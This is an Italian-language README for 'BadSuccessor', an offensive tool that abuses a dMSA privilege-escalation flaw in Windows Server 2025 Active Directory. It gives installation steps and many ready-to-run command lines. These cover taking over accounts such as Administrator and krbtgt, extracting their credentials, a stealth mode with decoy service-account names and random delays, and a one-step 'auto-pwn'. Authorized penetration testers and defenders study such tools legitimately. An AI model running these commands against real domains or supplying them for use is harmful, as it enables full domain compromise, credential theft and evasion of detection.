
Sfrutta la vulnerabilità di escalation dei privilegi dMSA di Windows Server 2025 per enumerare OU scrivibili, escalare a utenti di dominio arbitrari, estrarre credenziali e consentire la compromissione del dominio nelle valutazioni di sicurezza AD autorizzate.
Uno strumento di penetration testing che sfrutta la vulnerabilità di escalation dei privilegi dMSA (delegated Managed Service Account) negli ambienti Active Directory di Windows Server 2025.
Questo strumento è destinato esclusivamente a test di penetrazione autorizzati e a scopi di ricerca sulla sicurezza. L'uso di questo strumento contro sistemi senza esplicita autorizzazione scritta è illegale e non etico. Gli autori non sono responsabili di qualsiasi uso improprio o danno causato da questo strumento.
IMPORTANTE: Questo strumento è in fase di sviluppo e test attivi.
Incoraggiamo la community della sicurezza a:
Usando questo strumento, riconoscete che è in fase di sviluppo attivo e potrebbe richiedere modifiche per il vostro ambiente specifico.
BadSuccessor sfrutta una vulnerabilità di escalation dei privilegi nella funzionalità delegated Managed Service Account (dMSA) di Windows Server 2025. La vulnerabilità consente agli attaccanti con permessi minimi di elevare i privilegi a qualsiasi utente del dominio, inclusi gli Amministratori di Dominio.
Questo strumento si basa sull'eccellente ricerca di Yuval Gordon di Akamai Technologies:
La vulnerabilità risiede nel processo di migrazione dMSA in cui:
msDS-ManagedAccountPrecededByLink o ms-DS-Managed-Account-Preceded-By-Link per puntare a un utente targetmsDS-DelegatedMSAState o ms-DS-Delegated-MSA-State a 2 (migrazione completata)Inoltre, la struttura KERB-DMSA-KEY-PACKAGE contiene le chiavi password dell'utente target, consentendo l'estrazione delle credenziali.
pip3 install ldap3 pyasn1 pycryptodome pip3 install impacket==0.12.0
**Nota**: Lo strumento è stato testato con impacket 0.12.0. Gli avvisi di compatibilità delle versioni vengono visualizzati in fase di esecuzione.
### Dipendenze opzionali```bash
# For DNS discovery
pip3 install dnspython
# For enhanced Kerberos support (system packages)
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2
# RHEL/CentOS/Fedora
sudo yum install krb5-devel
CreateChildWriteGenericWriteGenericAllgit clone https://github.com/cybrly/badsuccessor.git cd badsuccessor pip3 install -r requirements.txt chmod +x badsuccessor.py
### requirements.txt```
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0
python3 badsuccessor.py -d -u -p [options]
### Esempi di avvio rapido
#### 1. Modalità Dry Run (NUOVO) - Test senza apportare modifiche```bash
# Simulate attack to verify viability
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
# Dry run with specific OU
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"
python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets
python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator
#### 3. Esegui l'attacco```bash
# Basic attack against Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
# Stealth mode with innocuous naming
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30
# Attack with custom dMSA attributes
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
--dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
--dmsa-display-name "Production Service"
# Attack with custom naming pattern
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
--dmsa-pattern "svc{random}prod"
python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql
python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn
#### 5. Gestione delle Sessioni (NUOVO)```bash
# List all sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
# Resume a previous session
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp.local_john_1234567890_abcd1234
# Clean up all dMSAs from a session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID